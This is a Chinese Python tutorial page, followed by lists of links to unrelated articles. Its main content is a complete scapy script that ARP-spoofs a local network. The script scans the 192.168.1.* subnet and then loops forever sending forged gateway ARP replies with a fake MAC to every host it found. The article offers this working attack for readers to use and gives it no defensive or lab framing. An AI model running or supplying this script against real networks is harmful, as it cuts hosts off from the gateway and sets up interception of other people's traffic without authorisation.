python使用arp欺骗伪造网关的方法


Posted in Python onApril 24, 2015

本文实例讲述了python使用arp欺骗伪造网关的方法。分享给大家供大家参考。具体实现方法如下:

#coding:utf-8
'''
arp欺骗局域网pc,将伪造的网关mac以网关的arp应答发送给pc
'''
from scapy.all import ARP,send,arping
import sys,re
stdout=sys.stdout
IPADDR="192.168.1.*"
gateway_ip='192.168.1.1'
#伪造网关mac地址
gateway_hw='00:11:22:33:44:55'
p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)
def arp_hack(ip,hw):
  #伪造来自网关的arp应答
  t=p
  t.hwdst=hw
  t.pdst=ip
  send(t)
def get_host():
  #得到在线主机的mac地址和对应ip地址 
  hw_ip = {}
  sys.stdout = open('host.info','w')
  arping(IPADDR)
  sys.stdout = stdout
  f = open('host.info','r')
  info = f.readlines()
  f.close
  del info[0]
  del info[0]
  for host in info :
    temp = re.split(r'\s+',host)
    hw_ip[temp[1]] = temp[2]
  return hw_ip
if __name__ == "__main__":
  hw_ip = get_host()
  while 1 :
    for i in hw_ip :
      arp_hack(hw=i,ip=hw_ip[i])

希望本文所述对大家的Python程序设计有所帮助。

Python 相关文章推荐
Python开发中爬虫使用代理proxy抓取网页的方法示例
Sep 26 Python
python实现Dijkstra静态寻路算法
Jan 17 Python
python实现在cmd窗口显示彩色文字
Jun 24 Python
int在python中的含义以及用法
Jun 27 Python
django foreignkey外键使用的例子 相当于left join
Aug 06 Python
Python实现AI自动抠图实例解析
Mar 05 Python
如何用python处理excel表格
Jun 09 Python
教你如何用python操作摄像头以及对视频流的处理
Oct 12 Python
详解appium自动化测试工具(monitor、uiautomatorviewer)
Jan 27 Python
Python&Matlab实现灰狼优化算法的示例代码
Mar 21 Python
利用Python多线程实现图片下载器
Mar 25 Python
Python测试框架pytest高阶用法全面详解
Jun 01 Python
python使用wxPython打开并播放wav文件的方法
Apr 24 #Python
python使用PyGame播放Midi和Mp3文件的方法
Apr 24 #Python
python使用PyGame绘制图像并保存为图片文件的方法
Apr 24 #Python
python使用PIL缩放网络图片并保存的方法
Apr 24 #Python
python使用Tkinter显示网络图片的方法
Apr 24 #Python
Python中最常用的操作列表的几种方法归纳
Apr 24 #Python
在Python中使用lambda高效操作列表的教程
Apr 24 #Python
You might like
php中显示数组与对象的实现代码
2011/04/18 PHP
PHP服务器页面间跳转实现方法
2012/08/02 PHP
Yii中CGridView实现批量删除的方法
2015/12/28 PHP
laravel框架中控制器的创建和使用方法分析
2019/11/23 PHP
javascript判断用户浏览器插件安装情况的代码
2011/01/01 Javascript
jquery实现表格奇数偶数行不同样式(有图为证及实现代码)
2013/01/23 Javascript
jQuery图片轮播的具体实现
2013/09/11 Javascript
jQuery插件开发详细教程
2014/06/06 Javascript
详谈javascript中DOM的基本属性
2015/02/26 Javascript
javaScript实现滚动新闻的方法
2015/07/30 Javascript
Easyui Treegrid改变默认图标的方法
2016/04/29 Javascript
select下拉框插件jquery.editable-select详解
2017/01/22 Javascript
vuejs通过filterBy、orderBy实现搜索筛选、降序排序数据
2020/10/26 Javascript
js实现彩色条纹滚动条效果
2017/03/15 Javascript
微信小程序调用PHP后台接口 解析纯html文本
2017/06/13 Javascript
浅析JS中回调函数及用法
2018/07/25 Javascript
浅析vue-router原理
2018/10/19 Javascript
ES6入门教程之Array.from()方法
2019/03/23 Javascript
小程序实现短信登录倒计时
2019/07/12 Javascript
解决Echarts2竖直datazoom滑动后显示数据不全的问题
2020/07/20 Javascript
Python3 正在毁灭 Python的原因分析
2014/11/28 Python
Python中绑定与未绑定的类方法用法分析
2016/04/29 Python
pandas 把数据写入txt文件每行固定写入一定数量的值方法
2018/12/28 Python
解决Python3用PIL的ImageFont输出中文乱码的问题
2019/08/22 Python
Python安装whl文件过程图解
2020/02/18 Python
深入理解Tensorflow中的masking和padding
2020/02/24 Python
scrapy与selenium结合爬取数据(爬取动态网站)的示例代码
2020/09/28 Python
基于tensorflow __init__、build 和call的使用小结
2021/02/26 Python
html5 canvas实现圆形时钟代码分享
2013/12/25 HTML / CSS
Vans(范斯)德国官网:美国南加州的原创极限运动潮牌
2017/05/02 全球购物
信息服务专业毕业生求职信
2014/03/02 职场文书
小学教师培训方案
2014/06/09 职场文书
法定代表人授权委托书范文
2014/08/02 职场文书
2014年计划生育工作总结
2014/11/14 职场文书
2016年暑期教师培训心得体会
2016/01/09 职场文书
python基于机器学习预测股票交易信号
2021/05/25 Python